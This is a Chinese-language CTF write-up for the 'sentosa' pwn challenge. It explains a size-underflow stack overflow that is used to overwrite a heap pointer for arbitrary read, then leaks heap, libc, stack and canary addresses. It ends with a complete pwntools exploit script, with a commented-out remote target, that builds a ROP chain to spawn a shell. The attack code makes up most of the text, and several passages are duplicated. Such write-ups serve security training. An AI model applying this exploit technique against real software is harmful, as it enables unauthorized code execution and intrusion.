攻防世界PWN之sentosa题解
Sentosa
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,一个经典的增删改查程序
经过分析,程序中不存在堆溢出漏洞,唯一的漏洞在这里
如果a2是0,就会造成输入长度无限制,因为0-1变成-1,传给read,而read的size参数为无符号数,导致-1转换成无符号数,很大,可以无限制输入。
最终造成create函数里栈溢出,覆盖v6指针
如果a2是0,就会造成输入长度无限制,因为0-1变成-1,传给read,而read的size参数为无符号数,导致-1转换成无符号数,很大,可以无限制输入。
最终造成create函数里栈溢出,覆盖v6指针
而v6指针是什么呢?
V6是堆指针,我们溢出后覆盖成其他地址被保存到global_heaps里面,我们可以实现任意地址读写
我们要泄露libc地址,获取需要的函数,因此,我们需要利用unsorted bin,那么就需要伪造unsorted bin范围的chunk。当我们伪造好了fake_chunk,我们就要想办法free掉它,这就需要利用栈溢出覆盖v6指针为fake_chunk的地址,这样,我们下一次就能free它了。因此,我们首先得泄露堆地址。
由于不存在UAF,因此,我们利用栈溢出覆盖v6指针为释放后的chunk的地址,然后show就可以泄露出堆地址了。
由于输入的size为0会造成无限输入,因此我们需要用’\n’结束输入,而\n会被替换成’\x00’,也就是说,我们最先不知道堆地址的情况下,想要泄露堆地址,就得使用低1字节覆盖。而低1字节注定为0,那么,也就是我们最终会让v6指向chunk0,那么,我们就得让chunk0里留下堆指针才行,因此,我们先释放其他chunk,将chunk0的释放放到后面,由于fastbin采用头插法链接chunk,因此在chunk0的fd域就会留下指针
- #0
- create(0x3,'a'*0x2)
- #1
- create(0x3,'b'*0x2)
- #2
- create(0x3,'c'*0x2)
- #3
- create(0x3,'d'*0x2)
- #4
- create(0x3,'e'*0x2)
- delete(1)
- delete(0)
- delete(2)
- #覆盖堆指针低位为0,使得它指向chunk0,chunk0里保存着堆指针,可以供我们泄露
- create(0,'a'*0x5A) #chunk2重新申请回来
- #泄露堆地址
- show()
- sh.recvuntil('Capacity: ')
- h = int(sh.recvuntil('\n',drop = True))
- if h < 0:
- h = 0x100000000 + h
- heap_addr = (0x55 << 4 * 8) + h << 8
- print 'heap_addr=',hex(heap_addr)
接下来,我们就要伪造unsorted bin范围的chunk了,为了能够free这个fake_chunk,我们还得精心构造,绕过程序中的这个检测
并且,空字节不会被写到堆里,因为程序中使用了strncpy,遇到’\x00’就会截断,因此,伪造这个fake_chunk需要精心考虑
如下,我们控制price为0x1000,使得我们在这个chunk里伪造的fake_chunk正好满足程序的要求,即fake_chunk + *fake_chunk + 5 = 1
- #1,size = 0x20 + 0x80 = 0xA0
- fake_chunk = 'd'*4 + '\xA1'
- #控制price的值,使得符合位置为1,绕过检查
- create(0xB,fake_chunk,0x10000)
- #2
- create(0x59,'f'*0x58)
- #5
- create(0x59,'g'*0x58)
- #6
- #覆盖堆指针低位为0,使得它指向我们伪造的fake_chunk
- create(0,'a'*0x5A + p64(heap_addr + 0xC0))
- #fake_chunk放入unsorted bin
- delete(6)
- #覆盖堆指针低位,使得它指向我们伪造的fake_chunk,因为此时fake_chunk里面有libc指针
- create(0,'b'*0x5A + p64(heap_addr + 0xC0-4)) #6
- #泄露libc指针
- show()
- sh.recvuntil('Project: ggggggggggggggg')
- sh.recvuntil('Project: ')
- main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
- malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
- libc_base = malloc_hook_addr - malloc_hook_s
- environ_addr = libc_base + environ
- system_addr = libc_base + system_s
- binsh_addr = libc_base + binsh_s
- pop_rdi_addr = libc_base + pop_rdi
- print 'libc_base=',hex(libc_base)
- print 'environ_addr=',hex(environ_addr)
现在,我们还差canary了,我们只要有了canary的值,就可以用栈溢出做ROP了。那么,我们需要泄露栈地址,而libc中的environ变量保存着栈地址,我们利用栈溢出把v6指针覆盖为environ的地址后show,就能得到栈地址。然后,我们计算出canary存放的位置,用同样的方法泄露canary后栈溢出ROP即可getshell。
- #同理,接下来,我们覆盖堆指针为environ_addr附近,这样我们可以泄露栈里面的内容
- #需要注意的是,由于有了unsorted bin,我们新申请的块会从unsorted bin里面切割,导致show的时候发生错误
- #因此,我们delete(3),让我们申请的块直接拿fastbin里面的chunk3来,而不从unsorted bin里面切割
- delete(3)
- create(0,'b'*0x5A + p64(environ_addr-4))
- show()
- sh.recvuntil('Project: fffffffffffffff')
- sh.recvuntil('Project: ')
- stack_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
- print 'stack_addr=',hex(stack_addr)
我们最终的exp脚本
#coding:utf8
from pwn import *
sh = process('./sentosa')
#sh = remote('111.198.29.45',36218)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
#借助environ,我们可以泄露栈地址
environ = libc.symbols['environ']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()
pop_rdi = 0x21102
def create(size,name,price=0, area=0, capacity=0):
sh.sendlineafter('5. Exit','1')
sh.sendlineafter('Input length of your project name:',str(size))
sh.sendlineafter('Input your project name:',name)
sh.sendlineafter('Input your project price:',str(price))
sh.sendlineafter('Input your project area:',str(area))
sh.sendlineafter('Input your project capacity:',str(capacity))
def show():
sh.sendlineafter('5. Exit','2')
def delete(index):
sh.sendlineafter('5. Exit','4')
sh.sendlineafter('Input your projects number:',str(index))
#0
create(0x3,'a'*0x2)
#1
create(0x3,'b'*0x2)
#2
create(0x3,'c'*0x2)
#3
create(0x3,'d'*0x2)
#4
create(0x3,'e'*0x2)
delete(1)
delete(0)
delete(2)
#覆盖堆指针低位为0,使得它指向chunk0,chunk0里保存着堆指针,可以供我们泄露
create(0,'a'*0x5A) #chunk2重新申请回来
#泄露堆地址
show()
sh.recvuntil('Capacity: ')
h = int(sh.recvuntil('\n',drop = True))
if h < 0:
h = 0x100000000 + h
heap_addr = (0x55 << 4 * 8) + h << 8
print 'heap_addr=',hex(heap_addr)
#1,size = 0x20 + 0x80 = 0xA0
fake_chunk = 'd'*4 + '\xA1'
#控制price的值,使得符合位置为1,绕过检查
create(0xB,fake_chunk,0x10000)
#2
create(0x59,'f'*0x58)
#5
create(0x59,'g'*0x58)
#6
#覆盖堆指针低位为0,使得它指向我们伪造的fake_chunk
create(0,'a'*0x5A + p64(heap_addr + 0xC0))
#fake_chunk放入unsorted bin
delete(6)
#覆盖堆指针低位,使得它指向我们伪造的fake_chunk,因为此时fake_chunk里面有libc指针
create(0,'b'*0x5A + p64(heap_addr + 0xC0-4)) #6
#泄露libc指针
show()
sh.recvuntil('Project: ggggggggggggggg')
sh.recvuntil('Project: ')
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
pop_rdi_addr = libc_base + pop_rdi
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
#同理,接下来,我们覆盖堆指针为environ_addr附近,这样我们可以泄露栈里面的内容
#需要注意的是,由于有了unsorted bin,我们新申请的块会从unsorted bin里面切割,导致show的时候发生错误
#因此,我们delete(3),让我们申请的块直接拿fastbin里面的chunk3来,而不从unsorted bin里面切割
delete(3)
create(0,'b'*0x5A + p64(environ_addr-4))
show()
sh.recvuntil('Project: fffffffffffffff')
sh.recvuntil('Project: ')
stack_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
#定位canary的位置,注意的是在canary前面那个地址要至少有3字节0,和canary的最后一字节0,组成4字节数据,代表chunk的大小为0
#不然要出错,因此,我们找到了这个地方有一个符合的
canary_addr = stack_addr - 0x130
print 'canary_addr=',hex(canary_addr)
#用同样的方法泄露canary
delete(4)
create(0,'b'*0x5A + p64(canary_addr-3))
show()
sh.recvuntil('Project: fffffffffffffff')
sh.recvuntil('Project: ')
sh.recvuntil('Project: ')
canary = u64('\x00' + sh.recvuntil('\n',drop = True))
print 'canary=',hex(canary)
#栈溢出,构造ROP
payload = 'a'*0x68 + p64(canary) + p64(0)*5 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
create(0,payload)
sh.interactive()
上一篇: p5.js实现斐波那契螺旋动画步骤详解